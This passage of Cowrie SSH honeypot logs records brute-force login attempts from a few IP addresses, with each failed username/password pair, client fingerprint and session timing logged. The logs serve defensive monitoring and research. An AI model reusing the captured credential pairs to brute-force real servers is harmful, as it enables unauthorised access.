af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:52.311672Z","src_ip":"50.6.248.168","session":"fd5f033c30e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rdP@ssw0rd","message":"login attempt [ubuntu/P@ssw0rdP@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:52.420006Z","src_ip":"50.6.248.168","session":"fd5f033c30e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:53.448421Z","src_ip":"50.6.248.168","session":"fd5f033c30e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":65151,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd96f70a187","protocol":"ssh","message":"New connection: 211.178.247.182:65151 (159.203.135.109:22) [session: 1bd96f70a187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:56.129988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:56.139081Z","src_ip":"211.178.247.182","session":"1bd96f70a187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:56.322224Z","src_ip":"211.178.247.182","session":"1bd96f70a187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali123456","message":"login attempt [ali/ali123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:57.089344Z","src_ip":"211.178.247.182","session":"1bd96f70a187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:59:58.276592Z","src_ip":"211.178.247.182","session":"1bd96f70a187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":53640,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce239645cece","protocol":"ssh","message":"New connection: 50.6.248.168:53640 (10.17.0.5:22) [session: ce239645cece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:46.246030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:46.254993Z","src_ip":"50.6.248.168","session":"ce239645cece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:46.285349Z","src_ip":"50.6.248.168","session":"ce239645cece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshadmin","password":"password","message":"login attempt [sshadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:46.423001Z","src_ip":"50.6.248.168","session":"ce239645cece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:47.452573Z","src_ip":"50.6.248.168","session":"ce239645cece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":6803,"dst_ip":"159.203.135.109","dst_port":22,"session":"17acd0519824","protocol":"ssh","message":"New connection: 211.178.247.182:6803 (159.203.135.109:22) [session: 17acd0519824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:51.061867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:51.066924Z","src_ip":"211.178.247.182","session":"17acd0519824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:51.256867Z","src_ip":"211.178.247.182","session":"17acd0519824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testwww","password":"wwwtest","message":"login attempt [testwww/wwwtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:52.014995Z","src_ip":"211.178.247.182","session":"17acd0519824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:00:53.200757Z","src_ip":"211.178.247.182","session":"17acd0519824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":52732,"dst_ip":"10.17.0.5","dst_port":22,"session":"401b413d5e08","protocol":"ssh","message":"New connection: 50.6.248.168:52732 (10.17.0.5:22) [session: 401b413d5e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:42.528612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:42.533717Z","src_ip":"50.6.248.168","session":"401b413d5e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:42.559623Z","src_ip":"50.6.248.168","session":"401b413d5e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"gnos","message":"login attempt [admin/gnos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:42.659819Z","src_ip":"50.6.248.168","session":"401b413d5e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:43.676596Z","src_ip":"50.6.248.168","session":"401b413d5e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":12429,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5a263a2564c","protocol":"ssh","message":"New connection: 211.178.247.182:12429 (159.203.135.109:22) [session: e5a263a2564c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:47.161822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:47.167274Z","src_ip":"211.178.247.182","session":"e5a263a2564c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:47.351681Z","src_ip":"211.178.247.182","session":"e5a263a2564c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"copyuser","password":"copyuser","message":"login attempt [copyuser/copyuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:48.101724Z","src_ip":"211.178.247.182","session":"e5a263a2564c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:01:49.298157Z","src_ip":"211.178.247.182","session":"e5a263a2564c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":46694,"dst_ip":"10.17.0.5","dst_port":22,"session":"6561a1ae7553","protocol":"ssh","message":"New connection: 50.6.248.168:46694 (10.17.0.5:22) [session: 6561a1ae7553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:02:37.125786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:02:37.130885Z","src_ip":"50.6.248.168","session":"6561a1ae7553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:02:37.154878Z","src_ip":"50.6.248.168","session":"6561a1ae7553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"test123","message":"login attempt [vnc/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:02:37.280367Z","src_ip":"50.6.248.168","session":"6561a1ae7553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:02:38.311126Z","src_ip":"50.6.248.168","session":"6561a1ae7553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":54388,"dst_ip":"10.17.0.5","dst_port":22,"session":"96591751424c","protocol":"ssh","message":"New connection: 50.6.248.168:54388 (10.17.0.5:22) [session: 96591751424c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:03:27.427858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:03:27.433295Z","src_ip":"50.6.248.168","session":"96591751424c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:03:27.461462Z","src_ip":"50.6.248.168","session":"96591751424c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwert!@#$%","message":"login attempt [test/qwert!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:03:27.540846Z","src_ip":"50.6.248.168","session":"96591751424c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:03:28.555168Z","src_ip":"50.6.248.168","session":"96591751424c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.247.70","src_port":58513,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e6f8b51173c","protocol":"ssh","message":"New connection: 160.250.247.70:58513 (159.203.135.109:22) [session: 0e6f8b51173c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:07.996383Z"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:08.631037Z","src_ip":"160.250.247.70","session":"0e6f8b51173c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":48642,"dst_ip":"10.17.0.5","dst_port":22,"session":"75cab1f5f465","protocol":"ssh","message":"New connection: 50.6.248.168:48642 (10.17.0.5:22) [session: 75cab1f5f465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:17.130664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:17.138253Z","src_ip":"50.6.248.168","session":"75cab1f5f465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:17.166148Z","src_ip":"50.6.248.168","session":"75cab1f5f465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gameserver","message":"login attempt [root/gameserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:17.281774Z","src_ip":"50.6.248.168","session":"75cab1f5f465","protocol":"ssh"}
